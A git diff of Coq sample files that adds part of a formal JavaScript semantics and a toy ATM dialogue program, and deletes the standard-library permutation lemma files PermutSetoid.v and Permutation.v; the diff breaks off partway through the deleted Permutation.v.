+  | spec_expr_get_value _ => None
+  | spec_expr_get_value_1 o => Some o
+  | spec_lexical_env_get_identifier_ref _ _ _ => None
+  | spec_lexical_env_get_identifier_ref_1 _ _ _ _ => None
+  | spec_lexical_env_get_identifier_ref_2 _ _ _ _ o => Some o
+  | spec_error_spec _ => None
+  | spec_error_spec_1 o => Some o
+  | spec_args_obj_get_own_prop_1 _ _ y => out_of_specret y
+  | spec_args_obj_get_own_prop_2 _ _ _ _ y => out_of_specret y
+  | spec_args_obj_get_own_prop_3 _ o => Some o
+  | spec_args_obj_get_own_prop_4 _ => None
+  | spec_string_get_own_prop_1 _ _ y => out_of_specret y
+  | spec_string_get_own_prop_2 _ _ y => out_of_specret y
+  | spec_string_get_own_prop_3 _ _ o => Some o
+  | spec_string_get_own_prop_4 _ _ => None
+  | spec_string_get_own_prop_5 _ y => out_of_specret y
+  | spec_string_get_own_prop_6 _ _ _ => None
+  | spec_function_proto_apply_get_args _ _ _ => None
+  | spec_function_proto_apply_get_args_1 _ _ _ o => Some o 
+  | spec_function_proto_apply_get_args_2 _ _ _ o => Some o 
+  | spec_function_proto_apply_get_args_3 _ y => out_of_specret y
+  | spec_function_proto_bind_length _ _ => None
+  | spec_function_proto_bind_length_1 _ _ => None
+  | spec_function_proto_bind_length_2 _ o => Some o
+  | spec_function_proto_bind_length_3 y _ => out_of_specret y
+  | spec_call_array_proto_join_vtsfj _ _ => None
+  | spec_call_array_proto_join_vtsfj_1 _ o => Some o 
+  | spec_call_array_proto_join_vtsfj_2 _ o => Some o 
+  | spec_call_array_proto_join_vtsfj_3 o => Some o 
+  end.
+
+
+(**************************************************************)
+(** ** Rules for propagating aborting expressions *)
+
+(** Definition of a result of type normal *)
+
+Definition res_is_normal R :=
+  res_type R = restype_normal.
+
+(** Definition of aborting outcomes: diverging outcomes,
+    and terminating outcomes that are not of type "normal". *)
+
+Inductive abort : out -> Prop :=
+  | abort_div :
+      abort out_div
+  | abort_not_normal : forall S R,
+      abrupt_res R ->
+      abort (out_ter S R).
+
+(** Definition of the behaviors caught by an exception handler,
+    and thus not propagated by the generic abort rule *)
+
+Inductive abort_intercepted_prog : ext_prog -> Prop :=
+  | abort_intercepted_prog_block_2 : forall S R rv,
+      abort_intercepted_prog (prog_2 rv (out_ter S R)).
+
+Inductive abort_intercepted_stat : ext_stat -> Prop :=
+
+  | abort_intercepted_stat_block_2 : forall S R rv,
+      abort_intercepted_stat (stat_block_2 rv (out_ter S R))
+  | abort_intercepted_stat_label_1 : forall lab rv S R,
+      R = res_intro restype_break rv lab ->
+      abort_intercepted_stat (stat_label_1 lab (out_ter S R))
+  | abort_intercepted_do_while_2 : forall labs e1 t2 rv S R,
+      res_label_in R labs ->
+      (res_type R = restype_continue \/ res_type R = restype_break) ->
+      abort_intercepted_stat (stat_do_while_2 labs t2 e1 rv (out_ter S R))
+  | abort_intercepted_while_3 : forall labs e1 t2 rv S R,
+      res_label_in R labs ->
+      (res_type R = restype_continue \/ res_type R = restype_break) ->
+      abort_intercepted_stat (stat_while_3 labs e1 t2 rv (out_ter S R))
+  | abort_intercepted_stat_try_1 : forall S R cb fo,
+      res_type R = restype_throw ->
+      abort_intercepted_stat (stat_try_1 (out_ter S R) (Some cb) fo)
+  | abort_intercepted_stat_try_3 : forall S R fo,
+      abort_intercepted_stat (stat_try_3 (out_ter S R) fo)
+  | abort_intercepted_stat_switch_2 : forall S R labs,
+      res_type R = restype_break ->
+      res_label_in R labs ->  
+      abort_intercepted_stat (stat_switch_2 (out_ter S R) labs)
+  | abort_intercepted_stat_switch_nodefault_6 : forall S rv R scs,
+      abrupt_res R ->
+      res_type R <> restype_throw -> 
+      abort_intercepted_stat (stat_switch_nodefault_6 rv (out_ter S R) scs)
+  | abort_intercepted_stat_switch_default_8 : forall S rv R scs,
+      abrupt_res R ->
+      res_type R <> restype_throw ->
+      abort_intercepted_stat (stat_switch_default_8 rv (out_ter S R) scs)
+  | abort_intercepted_stat_switch_default_A_5 : forall S rv R vi scs ts1 scs2,
+      abrupt_res R ->
+      res_type R <> restype_throw ->
+      abort_intercepted_stat (stat_switch_default_A_5 rv (out_ter S R) vi scs ts1 scs2)
+   | abort_intercepted_stat_for_6 : forall S0 S C labs rv R eo2 eo3 t,
+      abort_intercepted_stat (stat_for_6 labs rv eo2 eo3 t R)
+   | abort_intercepted_stat_for_7 : forall S0 S C labs rv R eo2 eo3 t,
+      abort_intercepted_stat (stat_for_7 labs rv eo2 eo3 t R)
+.
+
+Inductive abort_intercepted_expr : ext_expr -> Prop :=
+  | abort_intercepted_expr_call_default_2 : forall S R,
+      res_type R = restype_return ->
+      abort_intercepted_expr (spec_call_default_3 (out_ter S R))
+  | abort_intercepted_expr_call_global_eval_3 : forall S R,
+      res_type R = restype_throw ->
+      abort_intercepted_expr (spec_call_global_eval_3 (out_ter S R)).
+
+Inductive abort_intercepted_spec : ext_spec -> Prop :=
+  .
+
+(**************************************************************)
+(** ** Auxiliary definition used in identifier resolution *)
+
+(** [spec_identifier_resolution C x] returns the extended expression
+    which needs to be evaluated in order to perform the lookup
+    of name [x] in the execution context [C]. Typically, a
+    reduction rule that performs such a lookup would have a
+    premise of the form [red_expr S C (identifier_resolution C x) o1]. *)
+
+Definition spec_identifier_resolution C x :=
+  let lex := execution_ctx_lexical_env C in
+  let strict := execution_ctx_strict C in
+  spec_lexical_env_get_identifier_ref lex x strict.
+
+
+(**************************************************************)
+(** ** Instantiation of arguments in function calls *)
+
+Inductive arguments_from : list value -> list value -> Prop :=
+ | arguments_from_nil : forall Vs,
+      arguments_from Vs nil
+ | arguments_from_undef : forall Vs: list value,
+      arguments_from nil Vs ->
+      arguments_from nil (undef::Vs)
+ | arguments_from_cons : forall Vs1 Vs2 v,
+      arguments_from Vs1 Vs2 ->
+      arguments_from (v::Vs1) (v::Vs2).
+
+Inductive arguments_first_and_rest : list value -> (value * list value) -> Prop :=
+ | arguments_f_a_r_from_nil  : arguments_first_and_rest nil (undef, nil)
+ | arguments_f_a_r_from_cons : forall v lv, 
+     arguments_first_and_rest (v :: lv) (v, lv).
+
+Hint Constructors arguments_first_and_rest.
+
+(**************************************************************)
+(** ** Rules for delete_events. *)
+
+(** [search_proto_chain S l x] returns the location l' of the first object 
+    in the prototype chain of l which contains property x. *)
+
+Inductive search_proto_chain : state -> object_loc -> prop_name -> option object_loc -> Prop :=
+  | search_proto_chain_found : forall S l x,
+                                 object_has_property S l x ->
+                                 search_proto_chain S l x (Some l)
+  | search_proto_chain_not_found : forall S l x,
+                                     not (object_has_property S l x) ->
+                                     object_proto S l prim_null ->
+                                     search_proto_chain S l x None
+  | search_proto_chain_inductive : forall S l x v l' res,
+                                     not (object_has_property S l x) ->
+                                     object_proto S l (value_object l') ->
+                                     search_proto_chain S l' x res ->
+                                     search_proto_chain S l x res.
+
+
+(** [make_delete_event S l x ev] constructs a delete_event "ev" which
+records the deletion of the property (l,x) in the state S. *)
+
+Inductive make_delete_event : state -> object_loc -> prop_name -> event -> Prop :=
+  | make_delete_event_intro : forall S l x res ev,
+                                search_proto_chain S l x res ->
+                                ev = delete_event l x res ->
+                                make_delete_event S l x ev.
+
+(**************************************************************)
+(** ** Auxiliary definitions for the semantics of for-in. *)
+
+(* LATER *)
+
+
+(**************************************************************)
+(** ** Implementation Defined Object *)
+
+(** As stated in Section 2 of the ECMAScript specification, an
+  implementation can provide additionnal properties not described in
+  the specification. **)
+
+(** As we are only describing the core of JavaScrip here, this
+  inductive shall be empty.  But one can found in the other branches
+  of this developpment some examples of non-empty instantiation of
+  this predicate. **)
+
+Inductive implementation_prealloc : prealloc -> Prop :=
+  .
+
+
+(**************************************************************)
+(** Shorthand **)
+
+Definition vret : state -> value -> specret value := ret (T:=value).
+Definition dret : state -> full_descriptor -> specret full_descriptor := ret (T:=full_descriptor).
+
diff --git a/samples/Coq/Main.v b/samples/Coq/Main.v
new file mode 100644
index 0000000000..71d67bc1d4
--- /dev/null
+++ b/samples/Coq/Main.v
@@ -0,0 +1,42 @@
+Require Import FunctionNinjas.All.
+Require Import ListString.All.
+Require Import Computation.
+
+Import C.Notations.
+
+Definition error (message : LString.t) : C.t :=
+  do_call! Command.ShowError message in
+  ret.
+
+Definition main : C.t :=
+  call! card_is_valid := Command.AskCard in
+  if card_is_valid then
+    call! pin := Command.AskPIN in
+    match pin with
+    | None => error @@ LString.s "No PIN given."
+    | Some pin =>
+      call! pin_is_valid := Command.CheckPIN pin in
+      if pin_is_valid then
+        call! ask_amount := Command.AskAmount in
+        match ask_amount with
+        | None => error @@ LString.s "No amount given."
+        | Some amount =>
+          call! amount_is_valid := Command.CheckAmount amount in
+          if amount_is_valid then
+            call! card_is_given := Command.GiveCard in
+            if card_is_given then
+              call! amount_is_given := Command.GiveAmount amount in
+              if amount_is_given then
+                ret
+              else
+                error @@ LString.s "Cannot give you the amount. Please contact your bank."
+            else
+              error @@ LString.s "Cannot give you back the card. Please contact your bank."
+          else
+            error @@ LString.s "Invalid amount."
+        end
+      else
+        error @@ LString.s "Invalid PIN."
+    end
+  else
+    error @@ LString.s "Invalid card.".
diff --git a/samples/Coq/PermutSetoid.v b/samples/Coq/PermutSetoid.v
deleted file mode 100755
index 2e0dd17fbf..0000000000
--- a/samples/Coq/PermutSetoid.v
+++ /dev/null
@@ -1,539 +0,0 @@
-Require Import Omega Relations Multiset SetoidList.
-
-(** This file is deprecated, use [Permutation.v] instead.
-
-    Indeed, this file defines a notion of permutation based on
-    multisets (there exists a permutation between two lists iff every
-    elements have the same multiplicity in the two lists) which
-    requires a more complex apparatus (the equipment of the domain
-    with a decidable equality) than [Permutation] in [Permutation.v].
-
-    The relation between the two relations are in lemma
-    [permutation_Permutation].
-
-    File [Permutation] concerns Leibniz equality : it shows in particular
-    that [List.Permutation] and [permutation] are equivalent in this context.
-*)
-
-Set Implicit Arguments.
-
-Local Notation "[ ]" := nil.
-Local Notation "[ a ; .. ; b ]" := (a :: .. (b :: []) ..).
-
-Section Permut.
-
-(** * From lists to multisets *)
-
-Variable A : Type.
-Variable eqA : relation A.
-Hypothesis eqA_equiv : Equivalence eqA.
-Hypothesis eqA_dec : forall x y:A, {eqA x y} + {~ eqA x y}.
-
-Let emptyBag := EmptyBag A.
-Let singletonBag := SingletonBag _ eqA_dec.
-
-(** contents of a list *)
-
-Fixpoint list_contents (l:list A) : multiset A :=
-  match l with
-  | [] => emptyBag
-  | a :: l => munion (singletonBag a) (list_contents l)
-  end.
-
-Lemma list_contents_app :
-  forall l m:list A,
-    meq (list_contents (l ++ m)) (munion (list_contents l) (list_contents m)).
-Proof.
-  simple induction l; simpl; auto with datatypes.
-  intros.
-  apply meq_trans with
-    (munion (singletonBag a) (munion (list_contents l0) (list_contents m)));
-    auto with datatypes.
-Qed.
-
-(** * [permutation]: definition and basic properties *)
-
-Definition permutation (l m:list A) := meq (list_contents l) (list_contents m).
-
-Lemma permut_refl : forall l:list A, permutation l l.
-Proof.
-  unfold permutation; auto with datatypes.
-Qed.
-
-Lemma permut_sym :
-  forall l1 l2 : list A, permutation l1 l2 -> permutation l2 l1.
-Proof.
-  unfold permutation, meq; intros; symmetry; trivial.
-Qed.
-
-Lemma permut_trans :
-  forall l m n:list A, permutation l m -> permutation m n -> permutation l n.
-Proof.
-  unfold permutation; intros.
-  apply meq_trans with (list_contents m); auto with datatypes.
-Qed.
-
-Lemma permut_cons_eq :
-  forall l m:list A,
-    permutation l m -> forall a a', eqA a a' -> permutation (a :: l) (a' :: m).
-Proof.
-  unfold permutation; simpl; intros.
-  apply meq_trans with (munion (singletonBag a') (list_contents l)).
-  apply meq_left, meq_singleton; auto.
-  auto with datatypes.
-Qed.
-
-Lemma permut_cons :
-  forall l m:list A,
-    permutation l m -> forall a:A, permutation (a :: l) (a :: m).
-Proof.
-  unfold permutation; simpl; auto with datatypes.
-Qed.
-
-Lemma permut_app :
-  forall l l' m m':list A,
-    permutation l l' -> permutation m m' -> permutation (l ++ m) (l' ++ m').
-Proof.
-  unfold permutation; intros.
-  apply meq_trans with (munion (list_contents l) (list_contents m));
-    auto using permut_cons, list_contents_app with datatypes.
-  apply meq_trans with (munion (list_contents l') (list_contents m'));
-    auto using permut_cons, list_contents_app with datatypes.
-  apply meq_trans with (munion (list_contents l') (list_contents m));
-    auto using permut_cons, list_contents_app with datatypes.
-Qed.
-
-Lemma permut_add_inside_eq :
-  forall a a' l1 l2 l3 l4, eqA a a' ->
-    permutation (l1 ++ l2) (l3 ++ l4) ->
-    permutation (l1 ++ a :: l2) (l3 ++ a' :: l4).
-Proof.
-  unfold permutation, meq in *; intros.
-  specialize H0 with a0.
-  repeat rewrite list_contents_app in *; simpl in *.
-  destruct (eqA_dec a a0) as [Ha|Ha]; rewrite H in Ha;
-    decide (eqA_dec a' a0) with Ha; simpl; auto with arith.
-  do 2 rewrite <- plus_n_Sm; f_equal; auto.
-Qed.
-
-Lemma permut_add_inside :
-  forall a l1 l2 l3 l4,
-    permutation (l1 ++ l2) (l3 ++ l4) ->
-    permutation (l1 ++ a :: l2) (l3 ++ a :: l4).
-Proof.
-  unfold permutation, meq in *; intros.
-  generalize (H a0); clear H.
-  do 4 rewrite list_contents_app.
-  simpl.
-  destruct (eqA_dec a a0); simpl; auto with arith.
-  do 2 rewrite <- plus_n_Sm; f_equal; auto.
-Qed.
-
-Lemma permut_add_cons_inside_eq :
-  forall a a' l l1 l2, eqA a a' ->
-    permutation l (l1 ++ l2) ->
-    permutation (a :: l) (l1 ++ a' :: l2).
-Proof.
-  intros;
-  replace (a :: l) with ([] ++ a :: l); trivial;
-    apply permut_add_inside_eq; trivial.
-Qed.
-
-Lemma permut_add_cons_inside :
-  forall a l l1 l2,
-    permutation l (l1 ++ l2) ->
-    permutation (a :: l) (l1 ++ a :: l2).
-Proof.
-  intros;
-    replace (a :: l) with ([] ++ a :: l); trivial;
-        apply permut_add_inside; trivial.
-Qed.
-
-Lemma permut_middle :
-  forall (l m:list A) (a:A), permutation (a :: l ++ m) (l ++ a :: m).
-Proof.
-  intros; apply permut_add_cons_inside; auto using permut_sym, permut_refl.
-Qed.
-
-Lemma permut_sym_app :
-  forall l1 l2, permutation (l1 ++ l2) (l2 ++ l1).
-Proof.
-  intros l1 l2;
-    unfold permutation, meq;
-        intro a; do 2 rewrite list_contents_app; simpl;
-          auto with arith.
-Qed.
-
-Lemma permut_rev :
-  forall l, permutation l (rev l).
-Proof.
-  induction l.
-  simpl; trivial using permut_refl.
-  simpl.
-  apply permut_add_cons_inside.
-  rewrite <- app_nil_end. trivial.
-Qed.
-
-(** * Some inversion results. *)
-Lemma permut_conv_inv :
-  forall e l1 l2, permutation (e :: l1) (e :: l2) -> permutation l1 l2.
-Proof.
-  intros e l1 l2; unfold permutation, meq; simpl; intros H a;
-    generalize (H a); apply plus_reg_l.
-Qed.
-
-Lemma permut_app_inv1 :
-  forall l l1 l2, permutation (l1 ++ l) (l2 ++ l) -> permutation l1 l2.
-Proof.
-  intros l l1 l2; unfold permutation, meq; simpl;
-    intros H a; generalize (H a); clear H.
-  do 2 rewrite list_contents_app.
-  simpl.
-  intros; apply plus_reg_l with (multiplicity (list_contents l) a).
-  rewrite plus_comm; rewrite H; rewrite plus_comm.
-  trivial.
-Qed.
-
-(** we can use [multiplicity] to define [InA] and [NoDupA]. *)
-
-Fact if_eqA_then : forall a a' (B:Type)(b b':B),
- eqA a a' -> (if eqA_dec a a' then b else b') = b.
-Proof.
-  intros. destruct eqA_dec as [_|NEQ]; auto.
-  contradict NEQ; auto.
-Qed.
-
-Lemma permut_app_inv2 :
-  forall l l1 l2, permutation (l ++ l1) (l ++ l2) -> permutation l1 l2.
-Proof.
-  intros l l1 l2; unfold permutation, meq; simpl;
-    intros H a; generalize (H a); clear H.
-  do 2 rewrite list_contents_app.
-  simpl.
-  intros; apply plus_reg_l with (multiplicity (list_contents l) a).
-  trivial.
-Qed.
-
-Lemma permut_remove_hd_eq :
-  forall l l1 l2 a b, eqA a b ->
-    permutation (a :: l) (l1 ++ b :: l2) -> permutation l (l1 ++ l2).
-Proof.
-  unfold permutation, meq; simpl; intros l l1 l2 a b Heq H a0.
-  specialize H with a0.
-  rewrite list_contents_app in *; simpl in *.
-  apply plus_reg_l with (if eqA_dec a a0 then 1 else 0).
-  rewrite H; clear H.
-  symmetry; rewrite plus_comm, <- ! plus_assoc; f_equal.
-  rewrite plus_comm.
-  destruct (eqA_dec a a0) as [Ha|Ha]; rewrite Heq in Ha;
-    decide (eqA_dec b a0) with Ha; reflexivity.
-Qed.
-
-Lemma permut_remove_hd :
-  forall l l1 l2 a,
-    permutation (a :: l) (l1 ++ a :: l2) -> permutation l (l1 ++ l2).
-Proof.
-  eauto using permut_remove_hd_eq, Equivalence_Reflexive.
-Qed.
-
-Fact if_eqA_else : forall a a' (B:Type)(b b':B),
- ~eqA a a' -> (if eqA_dec a a' then b else b') = b'.
-Proof.
-  intros. decide (eqA_dec a a') with H; auto.
-Qed.
-
-Fact if_eqA_refl : forall a (B:Type)(b b':B),
- (if eqA_dec a a then b else b') = b.
-Proof.
-  intros; apply (decide_left (eqA_dec a a)); auto with *.
-Qed.
-
-(** PL: Inutilisable dans un rewrite sans un change prealable. *)
-
-Global Instance if_eqA (B:Type)(b b':B) :
- Proper (eqA==>eqA==>@eq _) (fun x y => if eqA_dec x y then b else b').
-Proof.
- intros x x' Hxx' y y' Hyy'.
- intros; destruct (eqA_dec x y) as [H|H];
-  destruct (eqA_dec x' y') as [H'|H']; auto.
- contradict H'; transitivity x; auto with *; transitivity y; auto with *.
- contradict H; transitivity x'; auto with *; transitivity y'; auto with *.
-Qed.
-
-Fact if_eqA_rewrite_l : forall a1 a1' a2 (B:Type)(b b':B),
- eqA a1 a1' -> (if eqA_dec a1 a2 then b else b') =
-               (if eqA_dec a1' a2 then b else b').
-Proof.
- intros; destruct (eqA_dec a1 a2) as [A1|A1];
-  destruct (eqA_dec a1' a2) as [A1'|A1']; auto.
- contradict A1'; transitivity a1; eauto with *.
- contradict A1; transitivity a1'; eauto with *.
-Qed.
-
-Fact if_eqA_rewrite_r : forall a1 a2 a2' (B:Type)(b b':B),
- eqA a2 a2' -> (if eqA_dec a1 a2 then b else b') =
-               (if eqA_dec a1 a2' then b else b').
-Proof.
- intros; destruct (eqA_dec a1 a2) as [A2|A2];
-  destruct (eqA_dec a1 a2') as [A2'|A2']; auto.
- contradict A2'; transitivity a2; eauto with *.
- contradict A2; transitivity a2'; eauto with *.
-Qed.
-
-
-Global Instance multiplicity_eqA (l:list A) :
- Proper (eqA==>@eq _) (multiplicity (list_contents l)).
-Proof.
-  intros x x' Hxx'.
-  induction l as [|y l Hl]; simpl; auto.
-  rewrite (@if_eqA_rewrite_r y x x'); auto.
-Qed.
-
-Lemma multiplicity_InA :
-  forall l a, InA eqA a l <-> 0 < multiplicity (list_contents l) a.
-Proof.
-  induction l.
-  simpl.
-  split; inversion 1.
-  simpl.
-  intros a'; split; intros H. inversion_clear H.
-  apply (decide_left (eqA_dec a a')); auto with *.
-  destruct (eqA_dec a a'); auto with *. simpl; rewrite <- IHl; auto.
-  destruct (eqA_dec a a'); auto with *. right. rewrite IHl; auto.
-Qed.
-
-Lemma multiplicity_InA_O :
-  forall l a, ~ InA eqA a l -> multiplicity (list_contents l) a = 0.
-Proof.
-  intros l a; rewrite multiplicity_InA;
-    destruct (multiplicity (list_contents l) a); auto with arith.
-  destruct 1; auto with arith.
-Qed.
-
-Lemma multiplicity_InA_S :
-  forall l a, InA eqA a l -> multiplicity (list_contents l) a >= 1.
-Proof.
-  intros l a; rewrite multiplicity_InA; auto with arith.
-Qed.
-
-Lemma multiplicity_NoDupA : forall l,
-  NoDupA eqA l <-> (forall a, multiplicity (list_contents l) a <= 1).
-Proof.
-  induction l.
-  simpl.
-  split; auto with arith.
-  split; simpl.
-  inversion_clear 1.
-  rewrite IHl in H1.
-  intros; destruct (eqA_dec a a0) as [EQ|NEQ]; simpl; auto with *.
-  rewrite <- EQ.
-  rewrite multiplicity_InA_O; auto.
-  intros; constructor.
-  rewrite multiplicity_InA.
-  specialize (H a).
-  rewrite if_eqA_refl in H.
-  clear IHl; omega.
-  rewrite IHl; intros.
-  specialize (H a0). omega.
-Qed.
-
-(** Permutation is compatible with InA. *)
-Lemma permut_InA_InA :
-  forall l1 l2 e, permutation l1 l2 -> InA eqA e l1 -> InA eqA e l2.
-Proof.
-  intros l1 l2 e.
-  do 2 rewrite multiplicity_InA.
-  unfold permutation, meq.
-  intros H;rewrite H; auto.
-Qed.
-
-Lemma permut_cons_InA :
-  forall l1 l2 e, permutation (e :: l1) l2 -> InA eqA e l2.
-Proof.
-  intros; apply (permut_InA_InA (e:=e) H); auto with *.
-Qed.
-
-(** Permutation of an empty list. *)
-Lemma permut_nil :
-  forall l, permutation l [] -> l = [].
-Proof.
-  intro l; destruct l as [ | e l ]; trivial.
-  assert (InA eqA e (e::l)) by (auto with *).
-  intro Abs; generalize (permut_InA_InA Abs H).
-  inversion 1.
-Qed.
-
-(** Permutation for short lists. *)
-
-Lemma permut_length_1:
-  forall a b, permutation [a] [b] -> eqA a b.
-Proof.
-  intros a b; unfold permutation, meq.
-  intro P; specialize (P b); simpl in *.
-  rewrite if_eqA_refl in *.
-  destruct (eqA_dec a b); simpl; auto; discriminate.
-Qed.
-
-Lemma permut_length_2 :
-  forall a1 b1 a2 b2, permutation [a1; b1] [a2; b2] ->
-    (eqA a1 a2) /\ (eqA b1 b2) \/ (eqA a1 b2) /\ (eqA a2 b1).
-Proof.
-  intros a1 b1 a2 b2 P.
-  assert (H:=permut_cons_InA P).
-  inversion_clear H.
-  left; split; auto.
-  apply permut_length_1.
-  red; red; intros.
-  specialize (P a). simpl in *.
-  rewrite (@if_eqA_rewrite_l a1 a2 a) in P by auto. omega.
-  right.
-  inversion_clear H0; [|inversion H].
-  split; auto.
-  apply permut_length_1.
-  red; red; intros.
-  specialize (P a); simpl in *.
-  rewrite (@if_eqA_rewrite_l a1 b2 a) in P by auto. omega.
-Qed.
-
-(** Permutation is compatible with length. *)
-Lemma permut_length :
-  forall l1 l2, permutation l1 l2 -> length l1 = length l2.
-Proof.
-  induction l1; intros l2 H.
-  rewrite (permut_nil (permut_sym H)); auto.
-  assert (H0:=permut_cons_InA H).
-  destruct (InA_split H0) as (h2,(b,(t2,(H1,H2)))).
-  subst l2.
-  rewrite app_length.
-  simpl; rewrite <- plus_n_Sm; f_equal.
-  rewrite <- app_length.
-  apply IHl1.
-  apply permut_remove_hd with b.
-  apply permut_trans with (a::l1); auto.
-  revert H1; unfold permutation, meq; simpl.
-  intros; f_equal; auto.
-  rewrite (@if_eqA_rewrite_l a b a0); auto.
-Qed.
-
-Lemma NoDupA_equivlistA_permut :
-  forall l l', NoDupA eqA l -> NoDupA eqA l' ->
-    equivlistA eqA l l' -> permutation l l'.
-Proof.
-  intros.
-  red; unfold meq; intros.
-  rewrite multiplicity_NoDupA in H, H0.
-  generalize (H a) (H0 a) (H1 a); clear H H0 H1.
-  do 2 rewrite multiplicity_InA.
-  destruct 3; omega.
-Qed.
-
-End Permut.
-
-Section Permut_map.
-
-Variables A B : Type.
-
-Variable eqA : relation A.
-Hypothesis eqA_dec : forall x y:A, {eqA x y} + {~ eqA x y}.
-Hypothesis eqA_equiv : Equivalence eqA.
-
-Variable eqB : B->B->Prop.
-Hypothesis eqB_dec : forall x y:B, { eqB x y }+{ ~eqB x y }.
-Hypothesis eqB_trans : Transitive eqB.
-
-(** Permutation is compatible with map. *)
-
-Lemma permut_map :
-  forall f,
-    (Proper (eqA==>eqB) f) ->
-    forall l1 l2, permutation _ eqA_dec l1 l2 ->
-      permutation _ eqB_dec (map f l1) (map f l2).
-Proof.
-  intros f; induction l1.
-  intros l2 P; rewrite (permut_nil eqA_equiv (permut_sym P)); apply permut_refl.
-  intros l2 P.
-  simpl.
-  assert (H0:=permut_cons_InA eqA_equiv P).
-  destruct (InA_split H0) as (h2,(b,(t2,(H1,H2)))).
-  subst l2.
-  rewrite map_app.
-  simpl.
-  apply permut_trans with (f b :: map f l1).
-  revert H1; unfold permutation, meq; simpl.
-  intros; f_equal; auto.
-  destruct (eqB_dec (f b) a0) as [H2|H2];
-    destruct (eqB_dec (f a) a0) as [H3|H3]; auto.
-  destruct H3; transitivity (f b); auto with *.
-  destruct H2; transitivity (f a); auto with *.
-  apply permut_add_cons_inside.
-  rewrite <- map_app.
-  apply IHl1; auto.
-  apply permut_remove_hd with b; trivial.
-  apply permut_trans with (a::l1); auto.
-  revert H1; unfold permutation, meq; simpl.
-  intros; f_equal; auto.
-  rewrite (@if_eqA_rewrite_l _ _ eqA_equiv eqA_dec a b a0); auto.
-Qed.
-
-End Permut_map.
-
-Require Import Permutation.
-
-Section Permut_permut.
-
-Variable A : Type.
-
-Variable eqA : relation A.
-Hypothesis eqA_dec : forall x y:A, {eqA x y} + {~ eqA x y}.
-Hypothesis eqA_equiv : Equivalence eqA.
-
-Lemma Permutation_impl_permutation : forall l l',
-  Permutation l l' -> permutation _ eqA_dec l l'.
-Proof.
-  induction 1.
-    apply permut_refl.
-    apply permut_cons; auto using Equivalence_Reflexive.
-    change (x :: y :: l) with ([x] ++ y :: l);
-      apply permut_add_cons_inside; simpl;
-      apply permut_cons_eq; auto using Equivalence_Reflexive, permut_refl.
-    apply permut_trans with l'; trivial.
-Qed.
-
-Lemma permut_eqA : forall l l', Forall2 eqA l l' -> permutation _ eqA_dec l l'.
-Proof.
-  induction 1.
-    apply permut_refl.
-    apply permut_cons_eq; trivial.
-Qed.
-
-Lemma permutation_Permutation : forall l l',
-  permutation _ eqA_dec l l' <->
-  exists l'', Permutation l l'' /\ Forall2 eqA l'' l'.
-Proof.
-  split; intro H.
-  (* -> *)
-  induction l in l', H |- *.
-    exists []; apply permut_sym, permut_nil in H as ->; auto using Forall2.
-    pose proof H as H'.
-    apply permut_cons_InA, InA_split in H
-      as (l1 & y & l2 & Heq & ->); trivial.
-    apply permut_remove_hd_eq, IHl in H'
-      as (l'' & IHP & IHA); clear IHl; trivial.
-    apply Forall2_app_inv_r in IHA as (l1'' & l2'' & Hl1 & Hl2 & ->).
-    exists (l1'' ++ a :: l2''); split.
-      apply Permutation_cons_app; trivial.
-      apply Forall2_app, Forall2_cons; trivial.
-  (* <- *)
-  destruct H as (l'' & H & Heq).
-  apply permut_trans with l''.
-    apply Permutation_impl_permutation; trivial.
-    apply permut_eqA; trivial.
-Qed.
-
-End Permut_permut.
-
-(* begin hide *)
-(** For compatibilty *)
-Notation permut_right := permut_cons (only parsing).
-Notation permut_tran := permut_trans (only parsing).
-(* end hide *)
diff --git a/samples/Coq/Permutation.v b/samples/Coq/Permutation.v
deleted file mode 100755
index 4761fb6d12..0000000000
--- a/samples/Coq/Permutation.v
+++ /dev/null
@@ -1,632 +0,0 @@
-(* Adapted in May 2006 by Jean-Marc Notin from initial contents by
-   Laurent Thery (Huffmann contribution, October 2003) *)
-
-Require Import List Setoid Compare_dec Morphisms.
-Import ListNotations. (* For notations [] and [a;b;c] *)
-Set Implicit Arguments.
-
-Section Permutation.
-
-Variable A:Type.
-
-Inductive Permutation : list A -> list A -> Prop :=
-| perm_nil: Permutation [] []
-| perm_skip x l l' : Permutation l l' -> Permutation (x::l) (x::l')
-| perm_swap x y l : Permutation (y::x::l) (x::y::l)
-| perm_trans l l' l'' :
-    Permutation l l' -> Permutation l' l'' -> Permutation l l''.
-
-Local Hint Constructors Permutation.
-
-(** Some facts about [Permutation] *)
-
-Theorem Permutation_nil : forall (l : list A), Permutation [] l -> l = [].
-Proof.
-  intros l HF.
-  remember (@nil A) as m in HF.
-  induction HF; discriminate || auto.
-Qed.
-
-Theorem Permutation_nil_cons : forall (l : list A) (x : A),
- ~ Permutation nil (x::l).
-Proof.
-  intros l x HF.
-  apply Permutation_nil in HF; discriminate.
-Qed.
-
-(** Permutation over lists is a equivalence relation *)
-
-Theorem Permutation_refl : forall l : list A, Permutation l l.
-Proof.
-  induction l; constructor. exact IHl.
-Qed.
-
-Theorem Permutation_sym : forall l l' : list A,
- Permutation l l' -> Permutation l' l.
-Proof.
-  intros l l' Hperm; induction Hperm; auto.
-  apply perm_trans with (l':=l'); assumption.
-Qed.
-
-Theorem Permutation_trans : forall l l' l'' : list A,
- Permutation l l' -> Permutation l' l'' -> Permutation l l''.
-Proof.
-  exact perm_trans.
-Qed.
-
-End Permutation.
-
-Hint Resolve Permutation_refl perm_nil perm_skip.
-
-(* These hints do not reduce the size of the problem to solve and they
-   must be used with care to avoid combinatoric explosions *)
-
-Local Hint Resolve perm_swap perm_trans.
-Local Hint Resolve Permutation_sym Permutation_trans.
-
-(* This provides reflexivity, symmetry and transitivity and rewriting
-   on morphims to come *)
-
-Instance Permutation_Equivalence A : Equivalence (@Permutation A) | 10 := {
-  Equivalence_Reflexive := @Permutation_refl A ;
-  Equivalence_Symmetric := @Permutation_sym A ;
-  Equivalence_Transitive := @Permutation_trans A }.
-
-Instance Permutation_cons A :
- Proper (Logic.eq ==> @Permutation A ==> @Permutation A) (@cons A) | 10.
-Proof.
-  repeat intro; subst; auto using perm_skip.
-Qed.
-
-Section Permutation_properties.
-
-Variable A:Type.
-
-Implicit Types a b : A.
-Implicit Types l m : list A.
-
-(** Compatibility with others operations on lists *)
-
-Theorem Permutation_in : forall (l l' : list A) (x : A),
- Permutation l l' -> In x l -> In x l'.
-Proof.
-  intros l l' x Hperm; induction Hperm; simpl; tauto.
-Qed.
-
-Global Instance Permutation_in' :
- Proper (Logic.eq ==> @Permutation A ==> iff) (@In A) | 10.
-Proof.
-  repeat red; intros; subst; eauto using Permutation_in.
-Qed.
-
-Lemma Permutation_app_tail : forall (l l' tl : list A),
